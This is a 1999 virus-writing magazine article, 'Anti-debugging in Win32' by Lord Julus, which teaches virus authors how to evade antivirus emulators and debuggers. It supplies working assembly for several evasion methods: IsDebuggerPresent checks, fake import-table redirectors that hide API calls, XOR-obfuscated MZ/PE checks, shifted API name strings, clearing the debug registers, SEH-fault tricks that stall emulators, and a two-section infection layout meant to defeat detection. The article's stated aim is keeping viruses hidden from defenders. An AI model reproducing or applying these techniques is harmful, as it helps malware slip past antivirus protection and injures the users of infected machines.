http://mirror.sweon.net/madchat/vxdevl/vxmags/vxtasy1/VXTASY%231.20B

  __________________________________________________________________________
 (__________________________________________________________________________)
 { __ }   { __ }        |                            |        { __ }   { __ }
  |\\|     |\\|    .----O----------------------------O----.    |//|     |//|
  |\\|     |\\|    |       Anti-debugging in Win32        |    |//|     |//|
  |\\|     |\\|    `--------------------------------------'    |//|     |//|
 {____}   {____}                                              {____}   {____}


        I am almost ashamed to open this subject here, but it has to be done.
 I  am  ashamed  not  actually  about  writing  it,  but  I am ashamed of the
 anti-virus  companies' shame. Because it *IS* a shame not to have after such
 a  long time something which you could call a real Win32 emulator. And don't
 jump  on me because it is true... Each and every win32 virus I wrote and you
 see  in  this  issue  was  not  discovered at first sight by any AV. After a
 little  work  on them, some smart AVs like AVP and DrWeb started to discover
 them...  It  was  only a matter of adding more laywers of encryption and all
 was  hidden  completely.  However,  even  if the fond of the article doesn't
 really exist (there is *NO* av that would act like good old TBAV in Dos), we
 must  start talking about this, because there is not so long until the AVers
 will start taking this seriously and programm some real code emulators.

        So,  I guess you understood that this article will also be about anti
 emulation, not only anti-debugging.

        First,  let us note that the Win32 viruses need the Apis. They search
 the  Apis  using  specific  searching  methods  and  save their addresses in
 different  places in the memory. A call to an api, therefore, will look like
 this when unassembled:

        jmp dword ptr [xxxxxxxx]

        And  at  address  [xxxxxxxx]  you  have  the saved address of the api
 inside the kernel body.

        From  the  beginning this causes the code to be pretty uncomprehsible
 at  first sight. A diassembler should locate all calls of the type above and
 then  retrieve the addresses of the apis, and then scan the kernel, or other
 DLL's export section to locate the name of the api. Only after doing so, the
 person  who  disassembles  your  code could understand what it does and take
 action depending on the returned values.

        Of  course,  we are not here to speak about fighting the human enemy.
 After all, any virus can be finally unassembled and understood. I will speak
 more on the automatical emulation and scanning.

        Think of that... The AV is trying to 'see' what is your code going to
 do.  So,  one  of the very first methods that comes to mind, and which has a
 lot of strength under Win32 would be the debugging. The Win32 systems allows
 one  process  to  debug  another process. However, this automatically sets a
 flag  and  the  escape  is  quite  obvious.  All  one needs to do is run the
 following api like this:

        call [ebp+_IsDebuggerPresent]
        or eax, eax
        jz exit
        ...

        The name of the api is more than obvious. It returns 0 if the process
 is  not  debugged  and  non-zero  if  it is debugged. If a non-zero value is
 returned, it means that the running process is debugged.

        Anyhow,  as  well  as  the human, the machine could look up each call
 somewhere  inside  a  DLL body, scan it's export table and compare with some
 known names. For example, the AV might notice that a call is made to the api
 IsDebuggerPresent, and it might override the answer, or fake it. This is why
 we  need  to  hide  better the calls to the Apis. One idea that I had was to
 change  them  into  some  sort of redirector, which would simulate an import
 table. Something like this, for example:

        call isdebuggerpresent
        ...
 isdebuggerpresent:
        jmp dword ptr [_isdebuggerpresent]
        ...
 _isdebuggerpresent dd 0


        When  you  retrieve  the  apis  addresses, you put the address of the
 IsDebuggerPresent api address in the _isdebuggerpresent place. But, remember
 that  in  viruses  we  use  the delta handle. The jump will not point in the
 right  direction  unless  you do a little trick... Assumming that your jumps
 are into an array like this:

        jmp dword ptr [api1]
        jmp dword ptr [api2]
        ...

        ,each jmp gets compiled like this:

                0E9 xx xx xx xx

        So,  all  you  need  to  do  is  go down the array and increment each
 address  with  the value of the delta. In this way, the jumps will point the
 right data.

        Anyhow, the entire IsDebuggerPresent example gets compiled like this:

        call xxxxxxxx

 xxxxxxxx: jmp [yyyyyyyy]

 yyyyyyyy  dd aaaaaaaa

        So,  you  see, this looks exactly like a real import table addressing
 type.  This  is a much trickier way of calling the Apis and this could still
 fool many AVs.


        Another  very  important thing is to avoid the usual. This is kind of
 redundant  to say, as any original thing has a lower rate of disclosure, but
 I feel like I would at least emphasize it a little.

        Let's see what became usual in the Win32 viruses:

        1) Checking for 'MZ' and 'PE'

        The usual checks are:

                cmp word ptr [...], 'ZM'
                cmp word ptr [...], 'EP' (dword ptr [...], 00004554)

        Please,  avoid  this!  It flags most AV's. This kind of check is used
 whenever  the  virus  tries  to  locate  the kernel32 or check for a PE file
 validity. Use strange methods like these:

                mov ax, word ptr [...]
                xor ax, 1234h
                cmp ax, 'ZM' xor 1234h


        2) Api names list

        A  list  with Api names could be suspicious, if not inside the import
 or export section. Guard the api names like this, for example:

 _CreateFileA db 'C'+1,'r'+1,'e'+1,'a'+1,'t'+1,'e'+1,\
                 'F'+1,'i'+1,'l'+1,'e'+1,'A+1

        Before  searching for api names, be sure to decrease each byte in the
 api name to obtain the real name. But on disk the above definition will look
 like this:

        "DsfbufGjmfB"

        ...Pretty annoying, huh?


        Another  trick, but which could be useless on good debuggers could be
 the  next  one.  This is a little piece of code which sets to 0 all debugger
 registers by generating the Mov DRx, eax instruction and calling it:

       lea esi, drs             ; point Debug Registers opcodes
       mov ecx, 7               ; 7 registers
       lea edi, bait            ; point the opcode place
                                ;
 repp:                          ;
       lodsb                    ; take the opcode
       mov byte ptr [edi], al   ; generate instruction
       call zapp                ; call it!
       loop repp                ; do it again
       jmp finish               ;
                                ;
 zapp:                          ;
       xor eax, eax             ; eax = 0
       dw 230fh                 ; This turns to mov DRx, eax
 bait label                     ;
       db 0                     ;
       ret                      ;
                                ;
 drs db 0c0h, 0c8h, 0d0h, 0d8h, 0e8h, 0f0h, 0f8h ; debug registers opcodes



        Yet,  another  interesting  trick  is  using  the SEH handler to make
 jumps.  The  idea  is  to  set  a  quick  set  handler  and then generate an
 instruction  that  causes a protection fault. The default SEH handler is the
 one of the running process. If the running process is trying to step by step
 our  virus,  the  temporary  SEH  frame  of  the  virus  will not be actualy
 activated, so the protection fault will not make the code fall in the virus,
 where  it should, but instead the AV will freeze after meeting the exception
 error and abort. Here is an example:

        lea eax, ContinueCode              ; Set up a the
        push eax                           ; SEH handler
        push fs:[0]                        ;
        mov fs:[0], esp                    ;
                                           ;
        xor eax, eax                       ; This causes a page write fault
        mov [eax], 100h                    ; error
                                           ;
        jmp Quit                           ;
                                           ;
                                           ;
 ContinueCode:                             ; we come here if the error
        mov esp, [esp+8]                   ; happened
        pop fs:[0]                         ; Restore SEH frame
        add esp, 4                         ; restore stack
        ...

 Quit:  ...-> return to host


        So,  using  the SEH handler we jump to the ContinueCode label. If the
 error doesn't occure for some reason, the code quits.

        This  brings  us to hiding another thing: the SEH frame setup. If the
 AV  understands  that  your  code  sets  up  a  SEH frame, it might set up a
 breakpoint  there  and  still  trap  your code. So, choose alternate ways of
 setting up the SEH frame. Here are some:

  Normal way:

        lea eax, ContinueCode              ; Set up a the
        push eax                           ; SEH handler
        push fs:[0]                        ;
        mov fs:[0], esp                    ;

  Altenate way example:

        mov ecx, -100h
        push fs
        pop es
        mov eax, 12345678h
        push eax
        lea eax, ContinueCode
        mov dword ptr [esp-4], eax
        mov ebx, es:[100h+ecx]
        push ebx
        mov eax, [esp]
        mov ebx, [eax]
        mov es:[100h+ecx], eax


        Even  if it looks ugly, unoptimized and all, it achives it's goal: it
 sets  a  SEH frame to point to ContinueCode and still, it doesn't look a bit
 like the normal way. You could even consider making it polymorphic.


        And now, a really neat and cool idea would be the next one. I have to
 be honest with you, I didn't even have time to try it for the moment, but at
 least if you think about it, it's half done...

        The idea goes like this... All win32 viruses keep their data close to
 the code area and it is normal to be so. Therefore, the flags on the section
 that  the code runs in, should have the READ set (to be able to execute) and
 WRITE  set (to be able to alter the variables' values). What if we would try
 to change all that? Here is how:

        First of all, define your virus very well, like this:

        code section

                code_start:
                            ...
                code_end

                data_start:
                            ...
                data_end

        end virus

        Then think of two delta handles. Whenever you are accessing data from
 the  data part use the first delta handle, and whenever you need to access a
 value  from  the code part, use the second delta handle (this situation will
 occur  usualy  only  when  you  need  the  address of some routines, or when
 generating  a poly decryptor). Note that data that only requires reading can
 also be put in the code section.

        Then,  when your virus infects its victim, it should add two sections
 one after the other, like this:

        .mycode
           (code)
        .mydata
           (data)

        The  size of the first section is simple to compute. It's the size of
 the  section  padded  to  memory alignment. How to calculate the first delta
 handle, needed to access the data? Look:

        start_of_code:
           call get_delta

        get_delta:
           pop ebp
           sub ebp, offset get_delta
           add ebp, alignment_difference

        To get the alignment difference, simply locate the last section's raw
 data  start  and then substract the before last section's raw data start and
 also the size of code:

        Alignment_difference = data_raw_start - code_raw_start - code_size

        To  compute  the  raw  data  addresses  is  too simple and I will not
 explain again (check the pe file layout article).

        Now, everytime you want to access a data you simply use this:

                mov register, [ebp+address]

        For  the code addressing you calculate another delta handle which you
 put,   let's  say  in  the ESI register. When you want to use the address of
 some procedure you do this:

                lea register, [esi+address]

        So, what do we have here? We have a virus lying in two sections!! And
 most  important,  the  code section doesn't need to have the Write flag set.
 You can trust me this will pose a LOT of problems to the AVs...

        Well,  these  would some small ideas on the Win32 guard up against AV
 attack,  but  I  am sure that in the future we shall have to have better new
 methods as the AV industry will grow more and more.

        Hope  you  enjoyed  this, and if the two sections stuff works, please
 tell me ;-)


                                            �������������������������
                                            �   Lord Julus - 1999    �
                                            ��������������������������

Reply via email to